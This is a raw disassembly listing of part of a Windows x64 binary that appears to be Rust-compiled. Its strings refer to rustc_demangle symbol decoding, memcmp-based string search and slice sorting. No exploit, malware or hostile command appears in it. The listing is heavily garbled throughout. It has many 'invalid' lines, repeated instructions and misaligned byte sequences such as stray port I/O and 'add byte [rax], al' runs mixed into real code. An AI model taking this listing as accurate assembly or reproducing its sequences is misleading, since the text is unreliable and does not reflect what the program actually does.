mov qword [rcx], 2
jmp 0x14006bafe
lea r9, [rsp + 0x58]
mov r10d, 9
test r8, r8
je 0x14006bae9
test byte [r9], 1
je 0x14006bae9
add dword [rdi], ecx
test byte [rcx - 1], bl
invalid
cmp rdx, 2
jae 0x14006bbfd
mov r10d, 0xc
jmp 0x14006bae9
lea rdi, [r10 + r11*8]
add rdi, 0xfffffffffffffff8
shl r11, 3
neg r11
lea rbx, [rsi*8]
lea r14, [r9 + rsi*8]
add r14, 0xfffffffffffffff8
neg rbx
xor r15d, r15d
mov r10d, 8
mov edx, 8
mov edx, 8
nop dword [rax]
invalid
cmp r11, r15
je 0x14006bae9
invalid
invalid
invalid
cmp rbx, r15
je 0x14006bae9
mov r12, qword [rdi + r15]
mov r13, qword [r14 + r15]
cmp r12, r13
cmp r12, r13
jb 0x14006bc0e
add r15, 0xfffffffffffffff8
cmp r12, r13
jbe 0x14006bbd0
jmp 0x14006bae9
shr rdx, 0x21
je 0x14006bc1c
test rsi, rsi
jne 0x14006badd
jmp 0x14006bae9
sub byte [rsp + 0x70], al
movups xmmword [rcx + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movups xmmword [rcx + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movaps xmm2, xmmword [rsp + 0x40]
movaps xmm3, xmmword [rsp + 0x50]
movups xmmword [rcx + 0x30], xmm3
adc dword [rcx + 0x30], ebx
adc dword [rcx + 0x30], ebx
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
jmp 0x14006bb2e
mov rcx, qword [rdx + 8]
mov qword [rsp + 0x40], rcx
and al, 0x40
and al, 0x40
cmp r15, rcx
ja 0x14006bfbe
mov rcx, qword [rdi]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x30], ecx
add rcx, rsi
lea rdx, [rdi + 0x28]
mov qword [rsp + 0x38], rdx
mov r9, qword [rdi + 0x20]
cmp r9, 4
mov qword [rsp + 0x28], r9
jbe 0x14006be3f
xchg byte [rcx + 1], bh
add byte [rax], al
xchg byte [rcx + 1], bh
add byte [rax], al
add dword [rax], eax
add byte [rbp + 0x31], al
in eax, dx
xor r13d, r13d
movabs rdx, 0xfefefefefefefeff
movabs r8, 0x8080808080808080
add byte [rax - 0x7f7f7f80], 0x80
invalid
add byte [rax - 0x7f7f7f80], 0x80
sub bl, 0x16
jmp 0x14006bcf5
nop
mov rax, qword [rsp + 0x30]
lea rcx, [rax + rsi]
mov rax, r15
sub rax, rsi
jb 0x14006bfbe
jmp 0x14006bcf5
mov r10, qword [rsp + 0x38]
movzx r10d, byte [r10 + r9 - 1]
dec dword [rax - 0x7d]
clc
adc byte [rbx + 0x3a], dh
dec dword [rax - 0x7d]
clc
adc byte [rbx + 0x3a], dh
test rax, rax
je 0x14006bfb7
xor r14d, r14d
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
mul byte [rsi + 0x66]
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
cmp byte [rcx + r14], r10b
je 0x14006be06
inc r14
cmp rax, r14
jne 0x14006bd20
jmp 0x14006bfb7
lea r11, [rcx + 7]
and r11, 0xfffffffffffffff8
sub r11, rcx
je 0x14006bd82
cmp r11, rax
cmovae r11, rax
test r11, r11
test ebx, ebx
test ebx, ebx
je 0x14006bd82
xor r14d, r14d
nop dword [rax]
invalid
cmp byte [rcx + r14], r10b
je 0x14006be0b
inc r14
cmp r11, r14
jne 0x14006bd60
mov qword [rsp + 0x20], rbx
lea r14, [rax - 0x10]
cmp r11, r14
jbe 0x14006bd8e
jbe 0x14006bd8e
jmp 0x14006bdd4
mov qword [rsp + 0x20], rbx
lea r14, [rax - 0x10]
xor r11d, r11d
invalid
fisttp dword [rcx + rcx*4 - 0x2b]
mov rbp, r10
mov ebp, edx
movabs r9, 0x101010101010101
imul rbp, r9
nop
mov r12, qword [rcx + r11]
xor r12, rbp
lea r9, [r12 + rdx]
not r12
and r12, r9
mov r9, qword [rcx + r11 + 8]
xor r9, rbp
lea rbx, [r9 + rdx]
not r9
and r9, rbx
or r9, r12
test r9, r8
jne 0x14006bdd4
add r11, 0x10
cmp r11, r14
jbe 0x14006bda0
sub rax, r11
mov rbx, qword [rsp + 0x20]
je 0x14006bfb7
add rcx, r11
xor r14d, r14d
nop dword [rax + rax]
add byte [rsi + 0x38], al
adc al, 0x31
add byte [rsi + 0x38], al
adc al, 0x31
je 0x14006be03
inc r14
cmp rax, r14
jne 0x14006bdf0
add r14, r11
mov r9, qword [rsp + 0x28]
add rsi, r14
inc rsi
mov qword [rdi + 0x10], rsi
cmp rsi, r9
jb 0x14006bce0
add eax, 0x7f650
mov edx, 4
mov rcx, r9
call fcn.1400a9df0
add eax, dword [rax]
add eax, dword [rax]
ud2
xor r13d, r13d
movabs r14, 0xfefefefefefefeff
movabs rbp, 0x8080808080808080
mov ebp, 0x80808080
invalid
invalid
invalid
invalid
mov ebp, 0x80808080
add byte [rax - 0x74b77f80], 0x54
and al, 0x38
mov rdx, qword [rsp + 0x38]
movzx edx, byte [rdx + r9 - 1]
cmp rax, 0x10
jae 0x14006bea0
test rax, rax
je 0x14006bfb7
xor r9d, r9d
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
cmp byte [rcx + r9], dl
cmp byte [rcx + rcx], dl
je 0x14006bf63
inc r9
cmp rax, r9
jne 0x14006be80
out dx, al
out dx, al
jmp 0x14006bfb7
lea r8, [rcx + 7]
and r8, 0xfffffffffffffff8
sub r8, rcx
je 0x14006bee2
cmp r8, rax
cmovae r8, rax
test r8, r8
test eax, eax
test eax, eax
je 0x14006bee2
xor r9d, r9d
nop dword [rax]
invalid
add byte [rdx + 0x38], al
adc al, 9
je 0x14006bf63
invalid
mov qword [rsp + 0x20], rbx
lea r9, [rax - 0x10]
xor r8d, r8d
mov r10, rdx
movabs r11, 0x101010101010101
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
imul r10, r11
nop
mov r11, qword [rcx + r8]
xor r11, r10
lea rbx, [r11 + r14]
not r11
and r11, rbx
mov rbx, qword [rcx + r8 + 8]
xor rbx, r10
lea r12, [rbx + r14]
not rbx
and rbx, r12
or rbx, r11
test rbx, rbp
jne 0x14006bf34
add r8, 0x10
cmp r8, r9
jbe 0x14006bf00
sub rax, r8
mov rbx, qword [rsp + 0x20]
je 0x14006bfb7
add rcx, r8
xor r9d, r9d
nop word cs:[rax + rax]
cmp byte [rcx + r9], dl
je 0x14006bf60
inc r9
cmp rax, r9
jne 0x14006bf50
add r9, r8
add rsi, r9
inc rsi
mov qword [rdi + 0x10], rsi
mov r12, rsi
mov r9, qword [rsp + 0x28]
sub r12, r9
jb 0x14006bfa0
cmp rsi, qword [rsp + 0x40]
ja 0x14006bfa0
mov rax, qword [rsp + 0x30]
lea rcx, [rax + r12]
xor byte [rdx - 0x73], cl
or al, 0x20
mov rdx, qword [rsp + 0x38]
mov edx, dword [rsp + 0x38]
mov r8, r9
call sub.VCRUNTIME140.dll_memcmp
mov r9, qword [rsp + 0x28]
test eax, eax
invalid
je 0x14006bfd2
sal byte [rdx + rsi + 0x48], 0x8b
and al, 0x30
mov rax, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
lea rcx, [rax + rsi]
mov rax, r15
sub rax, rsi
jae 0x14006be56
jmp 0x14006bfbe
mov qword [rdi + 0x10], r15
xor r13d, r13d
in eax, dx
mov qword [rbx], r13
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rbx + 8], r12
mov qword [rbx + 0x10], rsi
or byte [rax - 0x77], cl
jae 0x14006bfea
mov r13d, 1
jmp 0x14006bfbe
invalid
fmul st(4), st(0)
int3
int3
int3
int3
sub rsp, 0x40
mov rsi, rdx
mov qword [rsp + 0x38], rcx
and al, 0x38
and al, 0x38
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, [0x1400e3183]
jno 0x14006c012
add byte [rcx - 0x48], al
invalid
add byte [rax], al
invalid
jno 0x14006c012
add byte [rcx - 0x48], al
or eax, 0xff000000
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
mov byte [rsp + 0x31], 0
lea rax, [0x14006c0b0]
add eax, 0x86
push rax
sbb byte [rax - 0x77], cl
je 0x14006c03d
sub byte [rax - 0x39cfdbbc], cl
and al, 0x31
add byte [rax - 0x73], cl
add eax, 0x86
mov qword [rsp + 0x20], rax
lea rdx, [0x1400e8d2b]
lea rcx, [rsp + 0x28]
lea r9, [rsp + 0x38]
and al, 0x38
mov r8d, 4
call fcn.1400435d0
test dword [rbp - 3], esi
inc dword [rax + 0x31247c]
add al, ch
test dword [rbp - 3], esi
inc dword [rax + 0x31247c]
movzx eax, byte [rsp + 0x30]
je 0x14006c097
test al, al
mov al, 1
jne 0x14006c097
and al, 0x28
test byte [rax + 0x34], 4
jne 0x14006c07f
mov rcx, qword [rax + 0x20]
mov ecx, dword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400e3757]
lea edx, [0x1400e3757]
mov r8d, 2
add byte [rax], al
jmp 0x14006c094
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x7d505
invalid
invalid
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
test al, al
setne al
ror byte [rax - 0x7d], 0xc4
invalid
ror byte [rax - 0x7d], 0xc4
pop rsi
add esp, 0x40
pop rsi
ret
add byte [rax - 0x73], cl
or eax, 0x777a3
lea ecx, [0x1400e3860]
mov r8, qword [rcx + rax*8]
lea rcx, [0x1400e3888]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0xff49
jmp r9
jmp rcx
invalid
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0xff49
invalid
invalid
jmp rcx
int3
sbb dil, r15b
ror byte [rcx - 0xac2e7ba], 1
sbb byte [0x14006c30e], bh
sbb byte [0x14006c30e], bh
jae 0x14006c195
mov r8, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r8
jae case.0x14006c156.2
add byte [rcx + 0x1cb60fd5], cl
add dword [rax - 0x73], ecx
push rax
add dword [rax - 0x77], ecx
push rsi
adc byte [rbp + rcx*4 + 0x4b], al
mov esi, 0x17f98341
ja case.0x14006c156.2
invalid
add byte [rbp + rcx*4 + 0x15], cl
cmp dword gs:[rax], ecx
add byte [rdi + 0x63], cl
or al, 0x8a
lea r10, [0x1400efab4]
movsxd r9, dword [r10 + r9*4]
add r9, r10
jmp r9
test dword [0x18806c18b], ebp
add eax, 3
mov qword [rsi + 0x10], rax
add byte [rax - 0x7d], cl
rol byte [rbx], 0x48
mov dword [rsi + 0x10], eax
jmp 0x14006c5d9
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006c1bb
or byte [rcx], r8b
jmp 0x14006c6bc
add byte [rax], al
add byte [rax], al
mov rcx, rsi
mov edx, ebp
call fcn.14006c840
mov dil, 1
jmp 0x14006c680
and byte [rbx + rbx*8 + 0x32b840f], al
add byte [rax], al
test rcx, rcx
je 0x14006c553
lea rdx, [0x1400e36d0]
mov r8d, 0x19
add byte [rcx - 0x48], al
sbb dword [rax], eax
add byte [rax], al
jmp 0x14006c543
test dword [rax + 0x40000004], ecx
test ch, ch
je 0x14006c25e
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006c25e
lea rdx, [0x1400e32c8]
mov r8d, 2
call fcn.140041e50
test al, al
jne 0x14006c6be
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006c281
lea rdx, [0x1400e3382]
mov r8d, 1
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
call fcn.140041e50
test al, al
jne 0x14006c6be
mov rcx, rsi
call fcn.14006d8e0
test rax, rax
jne 0x14006c6be
jmp 0x14006c665
and al, 0x38
lea rcx, [rsp + 0x30]
mov rdx, rsi
call fcn.14006cab0
cmp qword [rsp + 0x30], 0
cmp dword [rsp + 0x30], 0
cmp dword [rsp + 0x30], 0
je 0x14006c520
shr rbx, 0x20
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
cmp ebx, 0x110000
jne 0x14006c6ce
mov rax, qword [rsp + 0x58]
or rax, qword [rsp + 0x68]
je 0x14006c684
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006c684
cmp r9, r8
jae case.0x14006c156.2
sti
sbb cl, byte [rdi]
adc dword [rdx + rax - 0x3d800000], 0xffffffe3
mov r11d, edx
inc r9
mov qword [rsi + 0x10], r9
mul r10
jo case.0x14006c156.2
movzx edx, r11b
add rax, rdx
jae 0x14006c3bd
jmp case.0x14006c156.2
and al, 0x40
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x14006c684
lea rcx, [rsp + 0x70]
call fcn.14006cce0
mov dil, 1
test al, al
jne 0x14006c6be
mov rax, qword [rsi + 0x20]
test rax, rax
je 0x14006c684
test byte [rax + 0x34], 4
jne 0x14006c684
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400e76f3]
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x14006c6be
mov rdx, qword [rsi + 0x20]
mov rcx, rbx
call fcn.140043db0
test al, al
jne 0x14006c6be
mov rax, qword [rsi + 0x20]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400e76f4]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x14006c680
add dword [rax], eax
add cl, al
jmp 0x14006c519
pop rsi
or cl, ch
pushfq
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x5c
movzx ebx, byte [rsp + 0x38]
and al, 0x38
mov rcx, qword [rsi + 0x20]
test bl, bl
jne 0x14006c206
test rcx, rcx
je 0x14006c553
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
adc byte [rax], al
add byte [rax], al
adc byte [rax], al
add byte [rax], al
call fcn.140041e50
mov dil, 1
test al, al
jne 0x14006c6be
mov qword [rsi], 0
mov byte [rsi + 8], bl
jmp 0x14006c6bc
add al, ch
iretd
mov rdi, qword [rsi + 0x20]
mov qword [rsi + 0x20], 0
mov rcx, rsi
xor edx, edx
call fcn.14006c0f0
test al, al
jne 0x14006c80f
mov qword [rsi + 0x20], rdi
test rdi, rdi
je 0x14006c620
lea rdx, [0x1400e3382]
mov r8d, 1
mov rcx, rdi
call fcn.140041e50
mov dil, 1
test al, al
jne 0x14006c6be
mov rcx, rsi
call fcn.14006d3b0
mov dil, 1
test al, al
jne 0x14006c6be
cmp bl, 0x4d
je 0x14006c665
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006c657
lea rdx, [0x1400e3702]
mov r8d, 4
call fcn.140041e50
test al, al
jne 0x14006c6be
mov rcx, rsi
xor edx, edx
call fcn.14006c0f0
test al, al
jne 0x14006c6be
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006c684
lea rdx, [0x1400e3381]
mov r8d, 1
call fcn.140041e50
test al, al
jne 0x14006c6be
cmp qword [rsi], 0
je 0x14006c6bc
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006c6b1
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140041e50
mov dil, 1
test al, al
jne 0x14006c6be
mov qword [rsi], 0
mov byte [rsi + 8], 0
xor edi, edi
mov eax, edi
add rsp, 0x90
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006c6ed
lea rdx, [0x1400e36f3]
mov r8d, 3
call fcn.140041e50
test al, al
jne 0x14006c6be
cmp ebx, 0x43
je 0x14006c70f
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
lea rcx, str._fmt::Error_s_should_be_impossible_without_a__fmt::Formatter_
lea r9, [0x1400e30d8]
lea r8, [rsp + 0x30]
mov edx, 0x3d
call fcn.1400aa200
ud2
cmp r9, r8
je 0x14006cb8e
movzx ebx, byte [r10 + r8]
lea edx, [rbx - 0x3a]
cmp dl, 0xf6
jb 0x14006cb54
inc r8
mov qword [r11 + 0x10], r8
adc byte [rax - 9], cl
out 0xf, eax
sub byte [rcx], 1
add byte [rax], al
adc byte [rax - 9], cl
out 0xf, eax
sub byte [rcx], 1
add byte [rax], al
add bl, 0xd0
movzx edx, bl
add rax, rdx
jae 0x14006cb20
jmp 0x14006cc6b
cmp r8, r9
jae 0x14006cb67
cmp byte [r10 + r8], 0x5f
jne 0x14006cb67
inc r8
mov qword [r11 + 0x10], r8
add rax, r8
jb 0x14006cc6b
mov qword [r11 + 0x10], rax
cmp rax, r9
ja 0x14006cc6b
cmp r8, r9
jae 0x14006cb9b
cmp byte [r10 + r8], 0xc0
jge 0x14006cba1
jmp 0x14006cc83
mov r8, r9
add rax, r8
jae 0x14006cb70
jmp 0x14006cc6b
jne 0x14006cc83
test rax, rax
je 0x14006cbb6
cmp rax, r9
jae 0x14006cbb6
cmp byte [r10 + rax], 0xbf
jle 0x14006cc83
lea r9, [r10 + r8]
mov rdx, rax
sub rdx, r8
test sil, sil
je 0x14006cc08
add rax, r10
sub rax, r9
lea r11, [r8 + r10]
dec r11
lea r10, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
nop dword [rax]
test rax, rax
je 0x14006cc24
mov r8, rax
dec rax
cmp byte [r11 + r8], 0x5f
jne 0x14006cbe0
test rax, rax
je 0x14006cc33
cmp rax, rdx
jae 0x14006cc28
cmp byte [r9 + rax], 0xbf
jg 0x14006cc33
jmp 0x14006ccb8
mov qword [rcx], r9
mov qword [rcx + 8], rdx
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 0
jmp 0x14006cc76
xor eax, eax
jmp 0x14006cc55
jne 0x14006ccb8
test r8, r8
je 0x14006cc7e
mov r10, rdx
sub r10, r8
jbe 0x14006cc44
cmp byte [r9 + r8], 0xbf
jg 0x14006cc49
jmp 0x14006cc9f
jne 0x14006cc9f
mov r8, rdx
mov rdx, r10
add r8, r9
mov r10, r9
mov r9, r8
test rdx, rdx
je 0x14006cc6b
mov qword [rcx], r10
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r9
mov qword [rcx + 0x18], rdx
jmp 0x14006cc76
mov byte [rcx + 8], 0
mov qword [rcx], 0
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
xor r8d, r8d
jmp 0x14006cc4c
lea rcx, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rcx
mov rcx, r10
mov rdx, r9
mov r9, rax
call fcn.1400aa440
ud2
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
mov rcx, r9
mov r9, rdx
call fcn.1400aa440
ud2
lea rcx, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rcx
mov rcx, r9
xor r8d, r8d
mov r9, rax
call fcn.1400aa440
ud2
int3
and al, 0x70
test rcx, rcx
je 0x14006ce46
mov qword [rsp + 0x60], rsi
mov rax, qword [r12 + 0x10]
mov qword [rsp + 0x58], rax
movzx r8d, byte [rax]
movzx eax, byte [rax]
movzx eax, byte [rax]
mov rcx, qword [r12]
mov rax, qword [r12 + 8]
test rax, rax
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x90], rax
je 0x14006ce71
add rax, rcx
xor r12d, r12d
nop
movzx r11d, byte [rcx]
movzx edx, r11b
test dl, dl
js 0x14006cd90
inc rcx
cmp r12, 0x80
cld
add byte [rax], 0
add byte [rdi], cl
invalid
mov ah, 0
add byte [rax], al
cld
add byte [rax], 0
add byte [rdi], cl
test dword [rax + rax - 0x30170000], esi
add al, 0
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop word cs:[rax + rax]
jmp 0x14006d250
nop word cs:[rax + rax]
mov r9d, edx
and r9d, 0x1f
movzx esi, byte [rcx + 1]
and esi, 0x3f
cmp dl, 0xdf
jbe 0x14006cdef
movzx r10d, byte [rcx + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
cmp r11b, 0xf0
jb 0x14006ce0b
movzx edx, byte [rcx + 3]
and r9d, 7
loope 0x14006cdc7
shl r9d, 0x12
shl r10d, 6
and edx, 0x3f
or edx, r10d
or edx, r9d
cmp edx, 0x110000
add byte [rcx], dl
add byte [rdi], cl
invalid
xchg edi, eax
add byte [rax], al
invalid
add byte [rcx], dl
add byte [rdi], cl
test byte [rdi + 0x48000000], dl
add ecx, 4
add rcx, 4
cmp r12, 0x80
jne 0x14006ce30
add byte [rax], 0
add byte [rbp + 0x46], dh
jmp 0x14006d250
add rcx, 2
shl r9d, 6
or r9d, esi
mov edx, r9d
cmp r12, 0x80
jne 0x14006ce30
jmp 0x14006d250
add rcx, 3
shl r9d, 0xc
or r10d, r9d
mov edx, r10d
cmp r12, 0x80
je 0x14006d250
nop word cs:[rax + rax]
mov dword [rsp + r12*4 + 0x98], edx
inc r12
cmp rcx, rax
jne 0x14006cd60
invalid
invalid
invalid
invalid
jmp 0x14006ce74
mov rdx, qword [r12]
mov r8, qword [r12 + 8]
or byte [rax - 0x75], cl
and byte [rax - 0x75], r9b
sub byte [rax - 0x75], r9b
invalid
invalid
or byte [rax - 0x75], cl
and byte [rax - 0x75], r9b
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x7f], cl
invalid
add rsp, 0x298
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
xor r12d, r12d
mov rax, qword [rsp + 0x70]
mov eax, dword [rsp + 0x70]
mov rbx, qword [rsp + 0x58]
add rax, rbx
mov qword [rsp + 0x78], rax
lea rax, [r12 - 1]
mov qword [rsp + 0x80], rax
add byte [rax], al
add byte [rax], al
lea rax, [r12*4 + 4]
mov qword [rsp + 0x30], rax
lea rbp, [rsp + r12*4]
add rbp, 0x98
mov rax, r12
neg rax
mov qword [rsp + 0x50], rax
mov rax, r12
not rax
mov qword [rsp + 0x48], rax
and al, 0x48
and al, 0x48
lea rax, [r12 + 1]
mov qword [rsp + 0x20], rax
mov eax, 0x2bc
mov qword [rsp + 0x28], rax
mov r14d, 0x48
add byte [rcx - 0x41], al
add byte [rax], 0
invalid
add byte [rcx - 0x41], al
add byte [rax], 0
add byte [rcx - 0x47], al
mov r9d, 0x1a
mov r9d, 0x1a
movabs rsi, 0xea0ea0ea0ea0ea0f
xor eax, eax
mov qword [rsp + 0x38], rax
xor ecx, ecx
mov edx, 0x24
sub rdx, r14
mov eax, 0
cmovae rax, rdx
cmp rax, 1
cmp eax, 1
cmp eax, 1
adc rax, 0
cmp rax, 0x1a
mov edi, 0x1a
cmovae rax, r9
lea edx, [r8 - 0x61]
cmp dl, 0x1a
jb 0x14006cf3d
lea edx, [r8 - 0x30]
lea edx, [rax - 0x30]
cmp dl, 9
ja 0x14006d250
xchg dword [rdx], ebx
add eax, dword [rax]
invalid
xchg dword [rdx], ebx
add eax, dword [rax]
add byte [rcx - 0x80], al
shr dl, 0x44
mov edx, eax
add r8b, 0xea
mov edx, r8d
inc rbx
movzx r9d, dl
movzx ecx, dl
movzx ecx, dl
cmp rax, r9
jbe case.0x140027163.452
add rcx, r9
jb 0x14006d250
invalid
add byte [rbp - 0x73], cl
insb byte [rdi], dx
and al, 1
lea r13, [r12 + 1]
mov rax, rcx
or rax, r13
shr rax, 0x20
and byte [rdi], cl
invalid
mov ah, 0
add byte [rax], al
invalid
and byte [rdi], cl
test byte [rax + rax - 0x76b80000], dh
add byte [rax], al
add byte [rax - 0x77], cl
add byte [rax], al
add byte [rax - 0x77], cl
mov rax, rcx
xor edx, edx
div r13
div ebp
enter 0xffffffffffffd231, 0x49
div ebp
mov r10, rdx
jmp 0x14006d025
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov r8d, 0x24
sub r8, rax
mov r13d, 0x48
mov ebp, 0x48
mov ebp, 0x48
nop
mov rax, r13
sub rax, r14
mov r11d, 0
cmovae r11, rax
cmp r11, 1
adc r11, 0
cmp r11, 0x1a
cmovae r11, rdi
cmp rbx, qword [rsp + 0x78]
je 0x14006d250
movzx eax, byte [rbx]
lea edx, [rax - 0x61]
cmp dl, 0x1a
jb 0x14006cfd6
add ecx, dword [rbp - 0x57f60b0]
sbb dh, byte [rdx + 0x10]
lea edx, [rax - 0x30]
cmp dl, 9
ja 0x14006d250
add byte [rax], al
add byte [rax], al
add al, 0xea
mov edx, eax
movzx r10d, dl
mov rax, r10
mul r8
jo 0x14006d250
add r9, rax
jb 0x14006d250
sub rdx, r11
add r13, 0x24
mov rax, r8
mul rdx
mov r8, rax
jno 0x14006cf90
jmp 0x14006d250
mov eax, ecx
xor edx, edx
div r13d
div ebp
div ebp
cmc
mov r10d, edx
add r15, rax
setb al
mov rdx, qword [rsp + 0x68]
push rsp
and al, 0x68
push rsp
and al, 0x68
cmovae rdx, r15
mov qword [rsp + 0x68], rdx
push 0x48fa894c
shr edx, 0x20
push 0x48fa894c
shr edx, 0x20
jne 0x14006d250
test al, al
jne 0x14006d250
add al, byte [rdx]
add byte [rax], al
cmp r15d, 0x110000
je 0x14006d250
mov eax, r15d
xor eax, 0xd800
add eax, 0xfffff800
cmp eax, 0x10f7ff
push rdi
adc byte [rax], al
push rdi
adc byte [rax], al
ja 0x14006d250
cmp r12, 0x7f
ja 0x14006d250
jg 0x14006d087
xchg ebx, edx
add dword [rax], eax
add byte [rbp + 0x39], cl
invalid
cmp r12, r10
jbe 0x14006d0b0
mov eax, r12d
sub eax, r10d
test al, 3
mov rdi, qword [rsp + 0x38]
and al, 0x38
shr byte [rax + 0x7c8b4803], 1
and al, 0x38
je 0x14006d103
mov rax, rcx
mov r8, qword [rsp + 0x20]
or rax, r8
or eax, eax
or eax, eax
shr rax, 0x20
je 0x14006d0c7
mov rax, rcx
xor edx, edx
div r8
jmp 0x14006d0ce
cmp r10, 0x80
mov rdi, qword [rsp + 0x38]
jb 0x14006d13f
cli
add byte [rax], 0
add byte [rax - 0x75], cl
jl 0x14006d0df
cmp byte [rdi], cl
invalid
jmp 0x14006d333
mov eax, ecx
xor edx, edx
div r8d
imul rax, qword [rsp + 0x48]
add rcx, rax
xor eax, eax
nop dword [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx - 0x76037aac], cl
push rsp
test dword [rax], eax
mov edx, dword [rbp + rax*4 - 4]
mov dword [rbp + rax*4], edx
dec rax
mov edx, r12d
invalid
enter 0xffffffffffff8944, 0xffffffffffffffe2
loop 0x14006d117
sub dl, cl
movzx edx, dl
and edx, 3
add rdx, rax
jne 0x14006d0e0
invalid
retf 0xb60f
in eax, 0x48
sub rax, qword [rsp + 0x50]
sub eax, dword [rsp + 0x50]
mov r12, rax
mov rax, qword [rsp + 0x80]
add byte [rax], al
add rax, rdi
sub rax, r10
cmp rax, 3
jb 0x14006d13f
nop word [rax + rax]
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [rsp + r12*4 + 0x88]
movups xmmword [rsp + r12*4 + 0x8c], xmm0
add byte [rax], al
add byte [rcx - 0x73], cl
and al, 0xfc
mov r12, rax
mov esp, eax
mov esp, eax
cmp rax, r10
ja 0x14006d120
sal byte [rdi - 0x1f], 1
mov dword [rsp + r10*4 + 0x98], r15d
add byte [rax], al
cmp rbx, qword [rsp + 0x78]
je 0x14006d2f8
movzx r8d, byte [rbx]
mov rax, r9
enter 0xffffffffffffc148, 0xffffffffffffffe8
and byte [rbx + rcx*4 + 0x7c], cl
and al, 0x30
enter 0xffffffffffffc148, 0xffffffffffffffe8
and byte [rbx + rcx*4 + 0x7c], cl
and al, 0x30
je 0x14006d173
mov rax, r9
xor edx, edx
div qword [rsp + 0x28]
mov r9, rax
jmp 0x14006d17f
mov eax, r9d
xor edx, edx
div dword [rsp + 0x28]
mov r9d, eax
mov r12, qword [rsp + 0x20]
mov rax, r9
or rax, r13
shr rax, 0x20
je 0x14006d1ac
mov rax, r9
xor edx, edx
div r13
mov rcx, rax
add rcx, r9
xor r11d, r11d
cmp rcx, 0x1c8
add dword [rax], eax
add byte [rbx + 0x1b], dh
add dword [rax], eax
add byte [rbx + 0x1b], dh
jmp 0x14006d1ed
mov eax, r9d
xor edx, edx
div r13d
mov ecx, eax
add rcx, r9
xor r11d, r11d
cmp rcx, 0x1c8
enter 1, 0
enter 1, 0
jb 0x14006d1ed
mov r9, rcx
nop dword [rax + rax]
mov rax, r9
mul rsi
out 0x48, al
mov ecx, edx
shr rcx, 5
add r11, 0x24
add ebx, 0x24
